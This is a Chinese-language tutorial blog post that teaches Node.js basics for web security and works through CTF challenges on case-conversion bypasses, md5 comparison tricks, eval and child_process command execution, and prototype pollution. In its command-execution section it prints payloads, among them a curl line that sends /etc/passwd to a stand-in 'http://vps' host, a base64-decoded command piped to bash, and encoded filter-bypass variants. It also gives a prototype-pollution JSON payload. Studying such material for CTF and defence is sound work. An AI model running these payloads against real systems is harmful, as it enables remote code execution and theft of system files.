开始之前,简单来学习一下一些nodejs的基础。
在没有了解过这二者之前,我其实认为二者是相似的,实际上,两者有这很大的区别
NodeJS是一个跨平台和开源的Javascript运行环境,允许Javascript在服务器端运行。Nodejs允许Javascript代码在浏览器之外运行。Nodejs有很多模块,主要用于网络开发。
Javascript是一种脚本语言。它通常被缩写为JS。可以说,Javascript是ECMA脚本的更新版本。Javascript是一种高级编程语言,它使用了Oops的概念,但它是基于原型继承的。
S.No | Javascript | NodeJS |
---|---|---|
1 | Javascript是一种编程语言,用于在网站上编写脚本。 | NodeJS是一种Javascript的运行环境。 |
2 | Javascript只能在浏览器中运行。 | 在NodeJS的帮助下,可以在浏览器外运行Javascript。 |
3 | Javascript基本上是在客户端使用。 | NodeJS主要用在服务器端。 |
4 | Javascript有足够的能力来添加HTML和玩弄DOM。 | Nodejs不具备添加HTML标签的能力。 |
5 | Javascript可以在任何浏览器引擎中运行,比如Safari中的JS core和Firefox中的Spidermonkey。 | V8是node.js内部的Javascript引擎,可以解析和运行Javascript。 |
6 | Javascript在前端开发中使用。 | Nodejs则用于服务器端开发。 |
7 | Javascript的一些框架有RamdaJS、TypedJS等。 | Nodejs的一些模块有Lodash、express等。这些模块需要从npm导入。 |
8 | Javascript是ECMA脚本的升级版,使用Chrome的V8引擎,用C++编写。 | Nodejs是用C、C++和Javascript编写的。 |
我们主要来学习一下跟web安全有关的js内容。
Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境
但是它是由C++开发的,它只是一个JavaScript语言解释器。
REPL环境运行JavaScript的代码
在浏览器的控制台或者node的运行环境都属于REPL运行环境,均可以运行JS代码。
Node 自带了交互式解释器,可以执行以下任务:
变量声明需要使用 var 关键字,如果没有使用 var 关键字变量会直接打印出来。
使用 var 关键字的变量可以使用 console.log() 来输出变量。
$ node > x = 10 10 > var y = 10 undefined > x + y 20 > console.log("Hello World") Hello World undefined
区别
Node.js 异步编程的直接体现就是回调。
异步编程依托于回调来实现,但不能说使用了回调后程序就异步化了。
回调函数在完成任务后就会被调用,Node 使用了大量的回调函数,Node 所有 API 都支持回调函数。
例如,我们可以一边读取文件,一边执行其他命令,在文件读取完成后,我们将文件内容作为回调函数的参数返回。这样在执行代码时就没有阻塞或等待文件 I/O 操作。这就大大提高了 Node.js 的性能,可以处理大量的并发请求。
回调函数一般作为函数的最后一个参数出现:
function foo1(name, age, callback) { } function foo2(value, callback1, callback2) { }
阻塞代码实例
首先创建一个文件test.txt,文件内容是
创建js文件
var fs = require("fs"); var data = fs.readFileSync('test.txt'); console.log(data.toString()); console.log("程序执行结束!");
执行结果为
非阻塞代码实例
var fs = require("fs"); fs.readFile('input.txt', function (err, data) { if (err) return console.error(err); console.log(data.toString()); }); console.log("程序执行结束!");
执行结果为
在Node.js中,const
是一个用于声明常量的关键字。当你使用const
关键字声明一个变量时,它表示这个变量的值是不可变的,也就是说它是一个常量。
使用const
声明的变量在初始化后不能再被重新赋值。这意味着你不能改变const
变量的值,而且在尝试这样做时,会引发一个错误。
下面是一个示例
const pi = 3.14159; const name = 'John Doe'; // 错误的示例,尝试修改常量的值 pi = 3.14; // 引发错误 // 错误的示例,尝试重新赋值常量 name = 'Jane Doe'; // 引发错误
虽然const
声明的变量的值是不可变的,但如果变量是一个对象或数组,它们的属性或元素可以被修改。这是因为const
只限制了变量的指向,而不限制对象或数组本身的修改
const person = { name: 'John Doe', age: 30 }; person.age = 31; // 合法,修改了对象的属性 console.log(person); // 输出: { name: 'John Doe', age: 31 }
总的来说,const
关键字用于声明不可变的常量,防止变量的重新赋值。但对于对象或数组,const
限制的是变量指向的对象,而不限制对象本身的修改。
__dirname:当前模块的目录名。
__filename:当前模块的文件名。 这是当前的模块文件的绝对路径(符号链接会被解析)。
exports变量是默认赋值给module.exports
,它可以被赋予新值,它会暂时不会绑定到module.exports。
module:在每个模块中, module
的自由变量是对表示当前模块的对象的引用。 为方便起见,还可以通过全局模块的 exports
访问 module.exports
。 module 实际上不是全局的,而是每个模块本地的
require模块就不多说了,用于引入模块、 JSON、或本地文件。 可以从 node_modules 引入模块。
// 引入 JSON 文件: const jsonData = require(‘./path/filename.json’); // 引入 node_modules 模块或 Node.js 内置模块: const crypto = require(‘crypto’);
自己设置
经常使用的全局变量是__dirname
、__filename
在 JavaScript中,一个函数可以作为另一个函数的参数。我们可以先定义一个函数,然后传递,也可以在传递参数的地方直接定义函数。
Node.js 中函数的使用与 JavaScript 类似,比如说可以这样
function say(word) { console.log(word); } function execute(someFunction, value) { someFunction(value); } execute(say, "Hello");
以上代码中,我们把 say 函数作为 execute 函数的第一个变量进行了传递。这里传递的不是 say 的返回值,而是 say 本身!
这样一来, say 就变成了execute 中的本地变量 someFunction ,execute 可以通过调用 someFunction() (带括号的形式)来使用 say 函数。
当然,因为 say 有一个变量, execute 在调用 someFunction 时可以传递这样一个变量。
匿名函数
我们可以把一个函数作为变量传递。但是我们不一定要绕这个"先定义,再传递"的圈子,我们可以直接在另一个函数的括号中定义和传递这个函数:
function execute(someFunction, value) { someFunction(value); } execute(function(word){ console.log(word) }, "Hello");
我们在 execute 接受第一个参数的地方直接定义了我们准备传递给 execute 的函数。用这种方式,我们就不给这个函数起名字了。
来看一个示例代码
const http = require('http');//首先要导入http模块 const hostname = '127.0.0.1'; // 服务器主机名 const port = 8080; // 服务器端口 // 创建 HTTP 服务器 const server = http.createServer((req, res) => { res.statusCode = 200; // 设置响应状态码 res.setHeader('Content-Type', 'text/plain'); // 设置响应头的 Content-Type res.end('Hello, World!'); // 发送响应内容 }); // 启动服务器并监听指定的主机名和端口 server.listen(port, hostname, () => { console.log(`Server running at http://${hostname}:${port}/`); });
启动运行文件,访问指定的端口,HTTP服务的页面就显示出来了
在很多场景中,我们的服务器都需要跟用户的浏览器打交道,如表单提交。表单提交到服务器一般都使用 GET/POST 请求。
nodejs的核心模块就是文件系统模块
文件读取
var fs = require('fs');//导入fs模块 fs.readFile('./first.txt','utf8',function(err,data){ console.log(err); console.log('---分界线----'); console.log(data); }); console.log("haha"); //first.txt //flag{hallo world}
输出
haha
null
---分界线----
flag{hallo world}
在Node.js中,console
是一个全局对象,它提供了一组用于在终端或命令行界面输出消息的方法。它是一种调试和日志记录工具,可用于在开发过程中输出信息,进行调试和查看变量的值。
我们可以这样来使用console对象
console.log()
方法输出一条或多条文本消息到控制台console.log("Hello, world!");
const name = "John"; console.log("Name:", name);
const age = 30; console.log("Name: %s, Age: %d", name, age);
toUpperCase() 在JavaScript中 是将小写改为大写的函数
但是就是在转换大小写的过程中 我们可以使用一些我们并不常见的字符 来转换出 我们所需要的字符 来绕过过滤
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'v
相对应的 toLowerCase() 也会有相关的特性(将大写转化为小写)
与php相似,数字与数字字符串比较的时候,数字型字符串会被转换之后再比较
数字与数字字符串之间的比较
console.log(1=='1'); //true console.log(1>'2'); //false console.log('1'<'2'); //true console.log(111>'3'); //true console.log('111'>'3'); //false console.log('asd'>1); //false //最后一个字符串转换后是0,所以经过比较后为false
字符串与字符串相比较
console.log([]==[]); //false console.log([]>[]); //false console.log([6,2]>[5]); //true console.log([100,2]<'test'); //true console.log([1,2]<'2'); //true console.log([11,16]<"10"); //false
[100,2]<'test'
为true其它比较
console.log(null==undefined) // 输出:true console.log(null===undefined) // 输出:false console.log(NaN==NaN) // 输出:false console.log(NaN===NaN) // 输出:false
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
我们可以使用反引号替代括号执行函数,可以用反引号替代单引号双引号,可以在反引号内插入变量。
但是有一点我们需要注意,模板字符串是将字符串作为参数传入函数中,而参数是一个数组,所以数组遇到${}
时,字符串会被分割。
var node = "nodejs";
console.log("hello %s",node);
var node = "nodejs"; console.log`hello${node}world`;
在上一篇文章中我们简单了解一下什么是nodejs以及nodejs的一些特性,这篇文章中我们来学习一下
首先结合nodejs中的一些特性来学习一下其如何在实战中应用
来看一个示例
//login.js var express = require('express'); var router = express.Router(); var users = require('../modules/user').items; var findUser = function(name, password){ return users.find(function(item){ return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; }); }; /* GET home page. */ router.post('/', function(req, res, next) { res.type('html'); var flag='flag_here'; var sess = req.session; var user = findUser(req.body.username, req.body.password); if(user){ req.session.regenerate(function(err) { if(err){ return res.json({ret_code: 2, ret_msg: '登录失败'}); } req.session.loginUser = user.username; res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag}); }); }else{ res.json({ret_code: 1, ret_msg: '账号或密码错误'}); } }); module.exports = router;
//uer.js module.exports = { items: [ {username: 'CTFSHOW', password: '123456'} ] };
我们在上面的代码中找到了一个重要的匿名函数
var findUser = function(name, password){ return users.find(function(item){ return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password; }); };
里面的回调函数是这样实现的name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
。首先要确保name是否不为CTFSHOW,如果相等则证明用户名不符合要求。然后检查 item
对象的 username
属性是否与大写后的 name
相等。这里使用 toUpperCase()
方法将 name
转换为大写,以确保比较的一致性。最后,检查 item
对象的 password
属性是否与 password
参数相等。
这里存在大小写转换的函数,我们可以采用希腊字母进行绕过
这里我们传入ctfſhow
123456
就可以成功登录了
var express = require('express'); var router = express.Router(); var crypto = require('crypto'); function md5(s) { return crypto.createHash('md5') .update(s) .digest('hex'); } /* GET home page. */ router.get('/', function(req, res, next) { res.type('html'); var flag='xxxxxxx'; var a = req.query.a; var b = req.query.b; if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ res.end(flag); }else{ res.render('index',{ msg: 'tql'}); } }); module.exports = router;
我们找到这段代码的关键部分
router.get('/', function(req, res, next) { res.type('html'); var flag='xxxxxxx'; var a = req.query.a; var b = req.query.b; if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ res.end(flag); }else{ res.render('index',{ msg: 'tql'}); } });
其中的关键就是if语句的判断,首先保证给a和b变量的长度相等并且a不等于b,最后看a变量和b变量分别和flag拼接后的md5值是否相等,如果相等的话就输出flag。
我们来看下面的一个例子,我们分别赋值给两个不同的对象
a={'x':'1'} b={'x':'2'} console.log(a+"flag{xxx}") console.log(b+"flag{xxx}")
输出
[object Object]flag{xxx} [object Object]flag{xxx}
二者都会输出相同的内容。我们会发现一个对象与字符串相加,输出不会有对象的内容。这样他们的md5值也是一样的了。
所以我们传入?a[x]=1&b[x]=2就可以输出flag
像学习rce一样,我们首先来一下哪些危险函数可能会造成nodejs中的命令执行
eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。
来看一个例子
var express = require("express"); var app = express(); app.get('/eval',function(req,res){ res.send(eval(req.query.q)); console.log(req.query.q); }) //参数 a 通过 get 传参的方式传入运行,我们传入参数会被当作代码去执行。 var server = app.listen(8888, function() { console.log("应用实例,访问地址为 http://127.0.0.1:8888/"); })
settimeout(function,time)
该函数作用是两秒后执行函数,function 处为我们可控的参数。
var express = require("express"); var app = express(); setTimeout(()=>{ console.log("console.log('Hacked')"); },2000); var server = app.listen(1234,function(){ console.log("应用实例,访问地址为 http://127.0.0.1:1234/"); })
setinterval (function,time)
这个函数的作用是每隔两秒执行一次代码。
var express = require("express"); var app = express(); setInterval(()=>{ console.log("console.log('Hacked')"); },2000); var server = app.listen(1234,function(){ console.log("应用实例,访问地址为 http://127.0.0.1:1234/"); })
function(string)
string 是传入的参数,这里的 function 用法类似于 php 里的 create_function。
var express = require("express"); var app = express(); var aaa=Function("console.log('Hacked')")(); var server = app.listen(1234,function(){ console.log("应用实例,访问地址为 http://127.0.0.1:1234/"); })
首先我们来了解一下什么是child_process模块
child_process模块提供了与popen(3)类似但不完全相同的方式衍生子进程的能力。该库通过创建管道、分叉和调用外壳来打开一个进程。child_process提供了几种创建子进程的方式
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令
require('child_process').exec('calc'); //弹出计算器
require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');
require('child_process').exec('echo SHELL_BASE_64|base64 -d|bash');
require('child_process').execFile("calc",{shell:true});
require('child_process').fork("./hacker.js");
require('child_process').spawn("calc",{shell:true});
在2023网信柏鹭杯出现过一道类似的题,使用fs.readFileSync
进行文件读取
要满足fs.readFileSync
的数组格式读取需要满足以下条件
href
且非空origin
且非空protocol
等于file:
hostname
且等于空(Windwos下非空的话会进行远程加载)pathname
且非空(读取的文件路径)payload
?file[href]=a&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=读取的文件
.
通过我们上面对于nodejs命令执行的学习,我们知道在NodeJs中调用模块是通过“.”来实现的,假如说我们过滤了.
,我们可以通过[]
实现对于模块的调用
require('child_process')["exec"]('calc'); //require('child_process').exec('calc');
对于过滤一些关键字,我们可以使用拼接的方法进行绕过
require('child_process')["ex"+"ec"]('calc'); //require('child_process')["exec"]('calc');
十六进制编码绕过
JavaScript是支持16进制作为字符串使用的,我们可以使用十六进制进行绕过
require('child_process')["\x65\x78\x65\x63"]('calc'); //require('child_process')["exec"]('calc');
unicode编码绕过
JavaScript除了支持十六进制以外还支持Unicode编码作为字符串使用
require('child_process')["\u0065\u0078\u0065\u0063"]('calc'); //require('child_process')["exec"]('calc');
base64编码绕过
eval(Buffer.from('cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpWyJleGVjIl0oJ2NhbGMnKTs=','base64').toString()); //require('child_process')["exec"]('calc');
我们也可以使用ES6模板绕过,反引号后面加入模板
require('child_process')[`${`${`exe`}cSync`}`"]('calc');
require('child_process')["exe".concat("c")]('calc');
Object.values(obj)返回一个数组,成员是参数对象自身的(不含继承的)所有可遍历属性的键值,有点类似JAVA中的反射例如我们获取child_process库的所有对象,我们可以根据我们自己的需要来获取对象。
既然是从0开始学习,我们首先来跟着p神学习一下nodejs关于继承和原型链的知识
js中没有子类父类的概念,也没有类和实例,js中的继承使用”原型链”来实现。
在学习原型链之前,我们还需要知道对象和函数之间的区别是什么————对象是由函数创建的,函数实际上是另外一种对象。
在js中,几乎所有的事物都是对象
var a = { "name": "Pengu1n0ne", "language": "chinese" } a.name; a.language; console.log(a);
如果我们想要访问对象的属性,我们有两种方法
prototype
和__proto__
是什么在js中如果我们想要定义一个类,我们需要用“构造函数”的方式来定义
function user{ this.password = 123 } new user()
在上面的代码中,我们定义了一个函数,user
函数的内容,实际上就是user
类的构造函数,this.password
就是类的一个属性
按照我们以前对于类和对象的理解,通常来讲,一个类中必然有一些方法,在js中,我们可以将方法定义在函数内部
function user{ this.password = 123 this.login = function(){ console.log(this.password) } } (new user()).login()//实例化一个对象并且调用对象的login方法
但这样写有一个问题,就是每当我们新建一个user对象时,this.login = function...
就会执行一次,这个login
方法实际上是绑定在对象上的,而不是绑定在“类”中。
为了解决上面的问题,在创建类的时候只创建一次login
方法,我们就可以使用原型了
function User(){ this.password = 123 } User.prototype.login = function login(){ console.log(this.password) } let user = new User() user.login()
我们可以把原型prototype
理解为是类User
的一个属性,而所有用User
类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上图中的user
对象,其天生就具有user.login()
方法。
我们可以通过User.prototype
来访问User
类的原型,但User
实例化出来的对象(user
),是不能通过prototype
访问原型的。这时候,我们就需要使用__proto__
了。
我们使用User
类实例化出来的user
对象,可以通过user.__proto__
属性来访问User
类的原型
function User(){ this.password = 123 } User.prototype.login = function login(){ console.log(this.password) } let user = new User() user.__proto__ == User.prototype
关键点:user.__proto__ == User.prototype
所以说我们可以总结一下他们两者的区别
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法__proto__
属性,指向这个对象所在的类的prototype
属性所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript
中的继承机制。
来看一个例子
function Father(){ this.first_name = 'Pengu1n' this.last_name = '0ne' } function Son(){ this.first_name = 'node' } Son.prototype = new Father() let son = new Son() console.log(`Name: ${son.first_name} ${son.last_name}`)
最后输出的结果是Name: node 0ne
,我们来看一下赋值的这个过程
Son.prototype = new Father()
Son.prototype
被赋值为new Father()
,这意味着Son
的原型对象将变为一个Father
的实例。这样做的结果是,当我们通过son
实例访问属性时,如果son
自身没有这个属性,它将去原型链中的Father
实例中查找。
总结一下,对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
son
中寻找last_name
son.__proto__
中寻找last_name
son.__proto__.__proto__
中寻找last_name
null
结束。比如,Object.prototype
的__proto__
就是null
上面就是最基础的js的原型链继承原理,我们只需要记住最关键的几点即可
__proto__
属性,指向类的原型对象prototype
JavaScript
使用prototype
链实现继承机制上面的内容中我们提到了,user.__proto__
指向的是User
类的prototype
。那么,如果我们修改了user.__proto__
中的值,是不是就可以修改User
类呢?
我们来看一个例子
let user = {first: 1} //首先我们设置了一个简单的js对象 console.log(user.first) //此时的first是1 user.__proto__.first = 2 //修改class的原型(即Object) console.log(user.first) //此时由于查找顺序的原因,class.first仍然是1 let show = {} //此时再使用Object创建一个空对象 console.log(show.first) //查看show.first
最后我们发现,show
虽然是个空对象,但是show.first
输出的结果是2
我们来分析一下是什么原因,前面我们修改了user
的原型user.__proto__.first = 2
,而user
是一个Object
类的实例,所以实际上是修改了Object
这个类,给这个类增加了一个属性first
,值为2。
后来,我们又用Object
类创建了一个show
对象let show = {}
,show
对象自然也有一个first
属性了。
也就是说,当我们访问show.first
的时候,JavaScript
首先检查 show
是否有自己的 first
属性,由于 show
本身没有,它会沿着原型链查找。
总的来说,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
在上面的内容中,我们了解了一下什么是原型链污染,那么在实际应用的过程中,哪些情况下可能存在原型链被攻击者修改的情况呢
原型链想要被修改,其实就是寻找哪些情况下可以设置__proto__
的值,也就是找到能够控制数组(对象)的“键名”的操作即可
以对象merge为例,我们想象一个简单的merge函数
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
我们可以来了解一下这个函数是什么意思
function merge(target, source) { for (let key in source) {
首先命名一个 merge
的函数,它接受两个参数:target
和 source
。target
是目标对象,source
是要合并到目标对象的源对象。函数使用一个 for...in
循环来迭代源对象 source
中的属性。
if (key in source && key in target) {
在循环的每次迭代中,这个条件检查当前属性 key
是否同时存在于源对象 source
和目标对象 target
中。这是为了检查是否存在同名属性。
merge(target[key], source[key])
如果 key
同时存在于两个对象中,说明这是一个嵌套的对象。在这种情况下,代码会递归调用 merge
函数来合并这两个嵌套的对象,继续迭代它们的属性。
} else { target[key] = source[key] }
如果 key
仅存在于源对象 source
中,说明这是一个目标对象中没有的新属性。在这种情况下,代码将源对象 source
中的属性复制到目标对象 target
中。
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
,是不是就可以原型链污染呢?
我们使用下面的代码来测试一下
let o1 = {}//创建一个空对象 let o2 = {a: 1, "__proto__": {b: 2}} //创建一个对象,对象存在两个属性一个是a,值为1,另一个属性是一个原型对象,值为{b: 2} merge(o1, o2)//将两个对象进行合并 console.log(o1.a, o1.b) o3 = {} console.log(o3.b)
结果是,合并虽然成功了,但原型链没有被污染:
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
那么,如何让__proto__
被认为是一个键名呢?
我们修改一下代码
let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b)
可见,新建的o3对象,也存在b属性,说明Object已经被污染:
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
给出了源码,我们代码审计一下,在login.js
中发现了关键函数
if(secert.ctfshow==='36dboy'){ res.end(flag); }else{ return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); }
我们只需要使得ctfshow属性为36dboy
就可以得到flag
在这段代码的上面,我们发现调用了copy函数
utils.copy(user,req.body);
我们来跟进一下,找到common.js
,看到copy函数
function copy(object1, object2){ for (let key in object2) { if (key in object2 && key in object1) { copy(object1[key], object2[key]) } else { object1[key] = object2[key] } } }
根据我们上面学的知识,可以发现这就是一个原型链污染
在登录页面进行抓包
传入payload
{"__proto__":{"ctfshow":"36dboy"}}
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://xz.aliyun.com/t/12383
https://forum.butian.net/share/1631